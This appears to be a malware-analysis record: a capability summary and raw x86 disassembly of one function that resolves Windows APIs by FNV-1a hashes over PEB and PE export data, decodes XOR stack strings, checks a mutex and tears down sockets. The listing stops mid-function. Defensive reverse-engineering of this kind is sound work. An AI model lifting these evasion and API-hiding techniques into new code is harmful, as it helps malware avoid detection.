Function at 0x461230
Capabilities:
Access peb ldr_data
Check mutex on windows
Contain obfuscated stackstrings
Create directory
Create thread
Encode data using xor
Get common file path
Get number of processors
Hash data using fnv
Print debug messages
Resolve function by fnv-1a hash
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x512740
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x7e0
push ebx
push esi
push edi
push 0x22
mov dword [ebp - 0xd4], 0
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00414f30
mov ebx, eax
mov ecx, edx
shrd eax, ecx, 8
mov ecx, 0x541d9c
movzx esi, al
mov eax, ebx
shrd eax, edx, 0x10
movzx eax, al
add esi, eax
movzx eax, bl
add esi, eax
call fcn.004687e0
push eax
call fcn.004ed3b7
xor ecx, ecx
add esi, eax
call fcn.00403400
sub eax, 0xffffff80
add eax, esi
push eax
call fcn.004e569c
push 0x100
push 0
push 0x544078
call fcn.004e1ab0
add esp, 0x14
mov ecx, 0x541d9c
call fcn.00402b00
push eax
mov ecx, 0x541d9c
call fcn.004687e0
push eax
push 0x544078
call fcn.004e1370
add esp, 0xc
mov ecx, 0x544294
call fcn.00402b00
push eax
mov ecx, 0x544294
call fcn.004687e0
push eax
push 0x5440dc
call fcn.004e1370
add esp, 0xc
mov ecx, 0x541d9c
call fcn.004687e0
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x461310
sub eax, edx
mov ecx, 0x541d9c
push eax
call fcn.004687e0
push eax
lea ecx, [ebp - 0x2f8]
call fcn.00402bc0
mov dword [ebp - 4], 0
mov ecx, 0x541d9c
push eax
call fcn.00468a20
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2f8]
call fcn.00402b10
mov ecx, 0x544394
call fcn.004687e0
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x461361
sub eax, edx
mov ecx, 0x544394
push eax
call fcn.004687e0
push eax
lea ecx, [ebp - 0x3d0]
call fcn.00402bc0
mov dword [ebp - 4], 1
mov ecx, 0x544394
push eax
call fcn.00468a20
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x3d0]
call fcn.00402b10
mov ecx, 0x544508
call fcn.004687e0
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4613b2
sub eax, edx
mov ecx, 0x544508
push eax
call fcn.004687e0
push eax
lea ecx, [ebp - 0x3b8]
call fcn.00402bc0
mov dword [ebp - 4], 2
mov ecx, 0x544508
push eax
call fcn.00468a20
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x3b8]
call fcn.00402b10
push 0x8000
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push method.std::basic_streambuf_char__struct_std::char_traits_char__.virtual_12
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
call fcn.00461050
test al, al
jne 0x461434
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
lea ecx, [ebp - 0x468]
call fcn.00416aa0
mov dword [ebp - 4], 3
sub esp, 0x18
lea eax, [ebp - 0x468]
mov dword [ebp - 0x10], esp
mov ecx, esp
push eax
call fcn.00468b20
mov byte [ebp - 4], 4
mov byte [ebp - 4], 3
mov edx, 0x1e8c53
lea ecx, [ebp - 0x224]
call fcn.0040af20
add esp, 0x18
mov byte [ebp - 4], 5
mov ecx, 0x5444f0
call fcn.00402b00
mov ecx, dword [ebp - 0x224]
xor edi, edi
mov dword [ebp - 0x38], eax
mov edx, dword [ecx + 0x10]
sub edx, eax
je 0x4615d7
lea esp, [esp]
call fcn.004687e0
mov ecx, 0x5444f0
mov esi, dword [eax + edi]
mov ebx, dword [eax + edi + 4]
call fcn.004687e0
cmp esi, dword [eax]
jne 0x4614ed
cmp ebx, dword [eax + 4]
jne 0x4614ed
lea ecx, [ebp - 0x224]
call fcn.00467870
mov ecx, eax
call fcn.004687e0
mov ecx, 0x5444f0
mov esi, dword [eax + edi + 8]
mov ebx, dword [eax + edi + 0xc]
call fcn.004687e0
cmp esi, dword [eax + 8]
jne 0x4614ed
cmp ebx, dword [eax + 0xc]
je 0x461503
mov ecx, dword [ebp - 0x224]
inc edi
mov eax, dword [ecx + 0x10]
sub eax, dword [ebp - 0x38]
cmp edi, eax
jb 0x4614a0
jmp 0x4615d7
lea ecx, [ebp - 0x5a]
mov dword [ebp - 0x5a], 0x849b89b0
mov dword [ebp - 0x56], 0xcf8a8282
mov word [ebp - 0x52], 0x100
call fcn.0040ece0
lea ecx, [ebp - 0x21c]
mov dword [ebp - 0x21c], 0x998080b3
mov esi, eax
mov dword [ebp - 0x218], 0x819f9ccb
mov dword [ebp - 0x214], 0x9f908288
mov dword [ebp - 0x210], 0xd6869dd3
mov dword [ebp - 0x20c], 0x938fd896
mov dword [ebp - 0x208], 0xd08e8989
mov dword [ebp - 0x204], 0x226e44df
mov dword [ebp - 0x200], 0x26706b7a
mov dword [ebp - 0x1fc], 0x66686d75
mov dword [ebp - 0x1f8], 0x792d7567
mov dword [ebp - 0x1f4], 0x32657e6e
mov dword [ebp - 0x1f0], 0x64357b67
mov dword [ebp - 0x1ec], 0x73397662
mov dword [ebp - 0x1e8], 0x100236f
call fcn.00447150
push 0x14
push esi
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
cmp eax, 7
jne 0x4615d1
lea esi, [eax + 6]
jmp 0x464883
mov ecx, dword [ebp - 0x224]
push 0
call fcn.0046b170
mov esi, dword [0x540b24]
mov edi, dword [0x540b20]
push 0
push 3
push esi
push edi
call fcn.00504260
mov ebx, eax
add ebx, dword [0x540b28]
mov ecx, ebx
mov dword [ebp - 0x38], ebx
adc edx, dword [0x540b2c]
xor ecx, edi
mov eax, edx
mov dword [ebp - 0x44], edx
xor eax, esi
or ecx, eax
je 0x461625
sub edi, ebx
mov dword [0x540b20], edi
sbb esi, edx
mov dword [0x540b24], esi
test esi, esi
jg 0x46163d
jl 0x46163d
cmp edi, 0x10f5
ja 0x46163d
test esi, esi
jg 0x46164d
jl 0x46163d
test edi, edi
jae 0x46164d
xor edi, edi
xor esi, esi
mov dword [0x540b20], edi
mov dword [0x540b24], esi
push 0
push 3
push esi
push edi
call fcn.00504260
mov ebx, eax
add ebx, dword [ebp - 0x38]
mov ecx, ebx
mov dword [0x540b28], ebx
adc edx, dword [ebp - 0x44]
xor ecx, edi
mov eax, edx
mov dword [0x540b2c], edx
xor eax, esi
or ecx, eax
je 0x461688
sub edi, ebx
mov dword [0x540b20], edi
sbb esi, edx
mov dword [0x540b24], esi
test esi, esi
jg 0x4616a0
jl 0x4616a0
cmp edi, 0x10f5
ja 0x4616a0
test esi, esi
jg 0x4616b4
jl 0x4616a0
test edi, edi
jae 0x4616b4
mov dword [0x540b20], 0
mov dword [0x540b24], 0
push 0xa9be
call dword [sym.imp.KERNEL32.dll_GetProcessId]
lea ecx, [ebp - 0x6e]
mov dword [ebp - 0x6e], 0x8f9c9a93
mov word [ebp - 0x6a], 0x100
call fcn.00465960
push 0
lea eax, [ebp - 0x6e]
mov ecx, 0x5442ac
push eax
call fcn.00468610
test eax, eax
jne 0x46182a
call fcn.004150f0
test al, al
je 0x461783
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x18], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x14], edx
lea ecx, [esi + edx]
mov dword [ebp - 0x68], ecx
cmp ecx, esi
je 0x461774
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x461774
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x46176d
lea ebx, [ebx]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x461750
cmp esi, 0xe80fd3a
je 0x461778
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x461735
mov eax, dword [eax]
jmp 0x461705
mov eax, dword [ebp - 0x68]
mov edx, dword [ebp - 0x18]
jmp 0x461813
call fcn.00415230
test al, al
jne 0x46182a
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
lea esp, [esp]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x68], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x14], edx
lea ecx, [esi + edx]
mov dword [ebp - 0x18], ecx
cmp ecx, esi
je 0x461809
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x461809
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x461802
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4617e5
cmp esi, 0xe80fd3a
je 0x46180d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4617d0
mov eax, dword [eax]
jmp 0x4617a0
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x68]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
push 0
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
lea ecx, [ebp - 0x4c]
mov dword [ebp - 0x4c], 0x8f9c9a93
mov word [ebp - 0x48], 0x100
call fcn.00465960
push 0
lea eax, [ebp - 0x4c]
mov ecx, 0x541d84
push eax
call fcn.00468610
test eax, eax
jne 0x46191a
call fcn.00415270
mov bl, al
call fcn.00415300
mov bh, al
call fcn.004155e0
test bl, bl
jne 0x461883
test bh, bh
jne 0x461883
test al, al
jne 0x461883
call fcn.00415130
test al, al
je 0x46191a
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x68], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x14], edx
lea ecx, [edx + esi]
mov dword [ebp - 0x18], ecx
cmp ecx, esi
je 0x4618f9
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4618f9
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4618f2
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4618d5
cmp esi, 0xe80fd3a
je 0x4618fd
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4618c0
mov eax, dword [eax]
jmp 0x461890
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x68]
push 0
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
lea ecx, [ebp - 0x64]
mov dword [ebp - 0x64], 0x8f9c9a93
mov word [ebp - 0x60], 0x100
call fcn.00465960
push 0
lea eax, [ebp - 0x64]
mov ecx, 0x544488
push eax
call fcn.00468610
test eax, eax
jne 0x46194b
lea ecx, [eax + 1]
call fcn.00415790
lea ecx, [ebp - 0xee]
mov dword [ebp - 0xee], 0x8f9c9a93
mov word [ebp - 0xea], 0x100
call fcn.00465960
push 0
lea eax, [ebp - 0xee]
mov ecx, 0x544470
push eax
call fcn.00468610
test eax, eax
jne 0x461985
call fcn.00417ea0
lea ecx, [ebp - 0xf4]
mov dword [ebp - 0xf4], 0x8f9c9a93
mov word [ebp - 0xf0], 0x100
call fcn.00465960
push 0
lea eax, [ebp - 0xf4]
mov ecx, 0x544220
push eax
call fcn.00468610
mov esi, dword [0x540b24]
mov edi, dword [0x540b20]
push 0
push 3
push esi
push edi
mov dword [ebp - 0x68], eax
call fcn.00504260
mov ebx, eax
add ebx, dword [0x540b28]
mov ecx, ebx
mov dword [0x540b28], ebx
adc edx, dword [0x540b2c]
xor ecx, edi
mov eax, edx
mov dword [0x540b2c], edx
xor eax, esi
or ecx, eax
je 0x461a06
sub edi, ebx
mov dword [0x540b20], edi
sbb esi, edx
mov dword [0x540b24], esi
test esi, esi
jg 0x461a1e
jl 0x461a1e
cmp edi, 0x10f5
ja 0x461a1e
test esi, esi
jg 0x461a32
jl 0x461a1e
test edi, edi
jae 0x461a32
mov dword [0x540b20], 0
mov dword [0x540b24], 0
mov esi, dword [sym.imp.KERNEL32.dll_SetThreadExecutionState]
push 0x80000041
call esi
test eax, eax
jne 0x461a4a
push connect
call esi
lea ecx, [ebp - 0x14f]
mov dword [ebp - 0x14f], 0x82878190
mov dword [ebp - 0x14b], 0xc09d989f
mov dword [ebp - 0x147], 0x9d9c8b
mov byte [ebp - 0x143], 1
call fcn.00465890
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x10], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], edx
lea ecx, [edx + esi]
mov dword [ebp - 0x18], ecx
cmp ecx, esi
je 0x461af4
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x461af4
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x461aed
jmp 0x461ad0
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x461ad0
cmp esi, 0x53b2070f
je 0x461af8
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x461ab6
mov eax, dword [eax]
jmp 0x461a86
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x10]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x14f]
add eax, edx
push ecx
call eax
test eax, eax
jne 0x461b25
xor esi, esi
jmp 0x464883
lea ecx, [ebp - 0x1b9]
mov dword [ebp - 0x1b9], 0xa3a7a1b0
mov dword [ebp - 0x1b5], 0xc0b9a9a5
mov dword [ebp - 0x1b1], 0xbdbcab
mov byte [ebp - 0x1ad], 1
call fcn.0040cd00
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, eax
call fcn.00486830
push 0
lea ecx, [ebp - 0x123]
mov word [ebp - 0x123], 0xdd
mov byte [ebp - 0x121], 1
call fcn.0040ace0
push eax
mov ecx, 0x544294
call fcn.00468610
cmp eax, 0xffffffff
je 0x461c3e
sub esp, 0x18
mov word [ebp - 0x127], 0xdd
lea ecx, [ebp - 0x127]
mov byte [ebp - 0x125], 1
mov esi, esp
mov dword [ebp - 0x10], esp
call fcn.0040ace0
push eax
mov ecx, esi
call fcn.00402b80
mov byte [ebp - 4], 6
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x18], esp
push 0x544294
call fcn.00468b20
mov byte [ebp - 4], 7
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x2a0]
call fcn.0040b920
add esp, 0x30
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x2a0]
call fcn.00467840
cmp eax, 2
jne 0x461c2f
push 1
lea ecx, [ebp - 0x2a0]
call fcn.00467820
push eax
mov ecx, 0x5442e0
call fcn.004689f0
push 0
lea ecx, [ebp - 0x2a0]
call fcn.00467820
push eax
mov ecx, 0x544294
call fcn.004689f0
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x2a0]
call fcn.004679e0
push 0
push 0
push 0
push 0x41e9d0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [0x540b1c], 0xffffffff
jne 0x461d17
jmp 0x461c70
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
lea esp, [esp]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x18], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x14], edx
lea ecx, [edx + esi]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x461ce9
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x461ce9
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x461ce2
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x461cc5
cmp esi, 0x2fa62ca8
je 0x461ced
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x461cb0
mov eax, dword [eax]
jmp 0x461c80
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x18]
push 1
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
cmp dword [0x540b1c], 0xffffffff
je 0x461c70
lea ecx, [ebp - 0x90]
mov dword [ebp - 0x90], 0x100b2bd
call fcn.0040acb0
push eax
lea ecx, [ebp - 0x24c]
call fcn.00402b80
mov byte [ebp - 4], 9
mov ecx, 0x104
lea eax, [ebp - 0x7ec]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x461d47
lea eax, [ebp - 0x7ec]
push eax
push 0xfb
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov edx, 0xc
lea ecx, [ebp - 0x3a0]
call fcn.0040bbe0
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x156]
mov dword [ebp - 0x156], 0x88868c86
mov word [ebp - 0x152], 0x8e
mov byte [ebp - 0x150], 1
call fcn.00409390
push eax
lea ecx, [ebp - 0x580]
call fcn.00402b80
mov byte [ebp - 4], 0xb
lea edx, [ebp - 0x7ec]
push eax
lea ecx, [ebp - 0x568]
call fcn.0046d240
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x3a0]
push ecx
mov edx, eax
lea ecx, [ebp - 0x550]
call fcn.0046d2f0
add esp, 8
mov byte [ebp - 4], 0xd
mov ecx, 0x541d6c
push eax
call fcn.00468a20
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x550]
call fcn.00402b10
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x568]
call fcn.00402b10
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x580]
call fcn.00402b10
lea ecx, [ebp - 0xdf]
mov dword [ebp - 0xdf], 0x8e808d8f
mov word [ebp - 0xdb], 0x82
mov byte [ebp - 0xd9], 1
call fcn.00409390
push eax
lea ecx, [ebp - 0x5b0]
call fcn.00402b80
mov byte [ebp - 4], 0xe
lea edx, [ebp - 0x7ec]
push eax
lea ecx, [ebp - 0x598]
call fcn.0046d240
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x3a0]
push ecx
mov edx, eax
lea ecx, [ebp - 0x2b8]
call fcn.0046d2f0
add esp, 8
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x598]
call fcn.00402b10
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0x5b0]
call fcn.00402b10
mov ecx, 0x541d6c
call fcn.004687e0
mov ecx, eax
call fcn.0040b340
test al, al
je 0x461ebc
push 0
mov dl, 1
mov ecx, 0x541d6c
call fcn.0040b4a0
add esp, 4
lea ecx, [ebp - 0x2b8]
call fcn.004687e0
mov ecx, eax
call fcn.0040b340
test al, al
je 0x461ee4
push 0
mov dl, 1
lea ecx, [ebp - 0x2b8]
call fcn.0040b4a0
add esp, 4
push 0
mov ecx, 0x541d6c
call fcn.004687e0
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push eax
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
test eax, eax
jne 0x461f15
mov ecx, 0x541d6c
call fcn.004168e0
test al, al
je 0x4645f7
push 0
lea ecx, [ebp - 0x2b8]
call fcn.004687e0
push eax
call esi
test eax, eax
jne 0x461fb0
mov esi, dword [0x540b24]
mov edi, dword [0x540b20]
push eax
push 3
push esi
push edi
call fcn.00504260
mov ebx, eax
add ebx, dword [0x540b28]
mov ecx, ebx
mov dword [0x540b28], ebx
adc edx, dword [0x540b2c]
xor ecx, edi
mov eax, edx
mov dword [0x540b2c], edx
xor eax, esi
or ecx, eax
je 0x461f79
sub edi, ebx
mov dword [0x540b20], edi
sbb esi, edx
mov dword [0x540b24], esi
test esi, esi
jg 0x461f91
jl 0x461f91
cmp edi, 0x10f5
ja 0x461f91
test esi, esi
jg 0x461fa5
jl 0x461f91
test edi, edi
jae 0x461fa5
mov dword [0x540b20], 0
mov dword [0x540b24], 0
lea ecx, [ebp - 0x2b8]
call fcn.004168e0
lea ecx, [ebp - 0x2b8]
call fcn.004687e0
mov ecx, dword fs:[0x30]
mov dword [ebp - 0x90], eax
mov ecx, dword [ecx + 0xc]
mov ecx, dword [ecx + 0xc]
mov edi, edi
mov ebx, dword [ecx + 0x18]
mov dword [ebp - 0x18], ebx
mov edx, dword [ebx + 0x3c]
mov esi, dword [edx + ebx + 0x78]
lea eax, [esi + ebx]
mov dword [ebp - 0x10], eax
cmp eax, ebx
je 0x462039
mov edi, dword [eax + 0x18]
test edi, edi
je 0x462039
mov eax, dword [eax + 0x20]
lea ebx, [eax + edi*4]
mov eax, dword [ecx + 0x18]
add ebx, eax
lea esp, [esp]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, eax
dec edi
mov esi, 0x811c9dc5
mov al, byte [edx]
inc edx
test al, al
je 0x462032
movsx eax, al
lea edx, [edx + 1]
xor eax, esi
imul esi, eax, 0x1000193
mov al, byte [edx - 1]
test al, al
jne 0x462015
cmp esi, 0x7a5b9fa2
je 0x46203d
mov eax, dword [ecx + 0x18]
test edi, edi
jne 0x462000
mov ecx, dword [ecx]
jmp 0x461fd0
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x18]
push dword [ebp - 0x90]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
lea eax, [ebp - 0x2b8]
mov ecx, 0x541dcc
push eax
call fcn.004689f0
call fcn.00416d60
test al, al
je 0x46226f
cmp dword [ebp - 0x68], 0
jne 0x46226f
push 0x541d9c
lea ecx, [ebp - 0xa3]
mov dword [ebp - 0xa3], 0x89808494
mov dword [ebp - 0x9f], 0x8781bf80
mov dword [ebp - 0x9b], 0x9cb0958b
mov word [ebp - 0x97], 0x97
mov byte [ebp - 0x95], 1
call fcn.00409ab0
mov edx, eax
lea ecx, [ebp - 0x2f8]
call fcn.0046d1b0
add esp, 4
mov byte [ebp - 4], 0x13
mov ecx, eax
call fcn.004687e0
push eax
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0x2f8]
call fcn.00402b10
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x464829
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, 0x32
push 0x529
call ebx
sub esi, 1
jne 0x462115
sub esp, 0x18
mov dword [ebp - 0x5a], 0xa9a7beaf
lea ecx, [ebp - 0x5a]
mov dword [ebp - 0x56], 0x828188c5
mov word [ebp - 0x52], 0x100
mov esi, esp
mov dword [ebp - 0x10], esp
call fcn.0040ece0
push eax
mov ecx, esi
call fcn.00402b80
mov byte [ebp - 4], 0x14
mov byte [ebp - 4], 0x12
call fcn.0041edb0
mov ecx, dword [0x5443b0]
mov eax, 0x2aaaaaab
sub ecx, dword [0x5443ac]
add esp, 0x18
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x4621a3
lea esp, [esp]
push 0x2f
call ebx
mov ecx, dword [0x5443b0]
mov eax, 0x2aaaaaab
sub ecx, dword [0x5443ac]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
jne 0x462180
push 2
push dword [0x540b1c]
mov byte [0x544041], 1
call dword [sym.imp.WS2_32.dll_shutdown]
push dword [0x540b1c]
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
lea ebx, [ebx]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
lea esp, [esp]
mov edx, dword [eax + 0x18]
mov dword [ebp - 0x18], edx
mov ecx, dword [edx + 0x3c]
mov ecx, dword [ecx + edx + 0x78]
add ecx, edx
mov dword [ebp - 0x10], ecx
cmp ecx, edx
je 0x462244
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x462244
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, edx
mov ecx, dword [ebx - 4]
lea ebx, [ebx - 4]
add ecx, edx
dec edi
mov esi, 0x811c9dc5
mov dl, byte [ecx]
inc ecx
test dl, dl
je 0x46223d
lea ebx, [ebx]
movsx edx, dl
lea ecx, [ecx + 1]
xor edx, esi
imul esi, edx, 0x1000193
mov dl, byte [ecx - 1]
test dl, dl
jne 0x462220
cmp esi, 0x2fa62ca8
je 0x462248
mov edx, dword [eax + 0x18]
test edi, edi
jne 0x462205
mov eax, dword [eax]
jmp 0x4621e0
mov esi, dword [ebp - 0x10]
mov edx, dword [ebp - 0x18]
push 0x162
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
jmp 0x4621d0
mov esi, dword [0x540b24]
mov edi, dword [0x540b20]
push 0
push 3
push esi
push edi
call fcn.00504260
mov ebx, eax
add ebx, dword [0x540b28]
mov ecx, ebx
mov dword [0x540b28], ebx
adc edx, dword [0x540b2c]
xor ecx, edi
mov eax, edx
mov dword [0x540b2c], edx
xor eax, esi
or ecx, eax
je 0x4622bc
sub edi, ebx
mov dword [0x540b20], edi
sbb esi, edx
mov dword [0x540b24], esi
test esi, esi
jg 0x4622d4
jl 0x4622d4
cmp edi, 0x10f5
ja 0x4622d4
test esi, esi
jg 0x4622e8
jl 0x4622d4
test edi, edi
jae 0x4622e8
mov dword [0x540b20], 0
mov dword [0x540b24], 0
lea ecx, [ebp - 0xd7]
mov byte [0x54406d], 0
mov word [ebp - 0xd7], 0x9b
mov byte [ebp - 0xd5], 1
call fcn.0040ace0
lea ecx, [ebp - 0x5e0]
mov edi, eax
call fcn.0040c670
mov esi, eax
mov byte [ebp - 4], 0x15
push 0
push 0x353d
call fcn.00407ed0
mov ebx, eax
lea ecx, [ebp - 0x5c8]
mov eax, dword [0x540b1c]
mov edx, esi
push edi
mov dword [ebp - 0x10], eax
call fcn.0046d100
mov byte [ebp - 4], 0x16
sub esp, 0xc
mov ecx, esp
mov dword [ebp - 0x18], esp
mov edx, eax
push 0x541d9c
call fcn.0046d2f0
add esp, 4
mov byte [ebp - 4], 0x17
mov byte [ebp - 4], 0x16
mov edx, ebx
mov ecx, dword [ebp - 0x10]
call fcn.0041e030
add esp, 0x18
mov bl, al
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x5c8]
call fcn.00402b10
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0x5e0]
call fcn.00402b10
test bl, bl
je 0x462452
cmp byte [0x54406d], 0
jne 0x462452
jmp 0x4623b0
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
lea esp, [esp]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x18], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [esi + edx]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x462424
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x462424
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
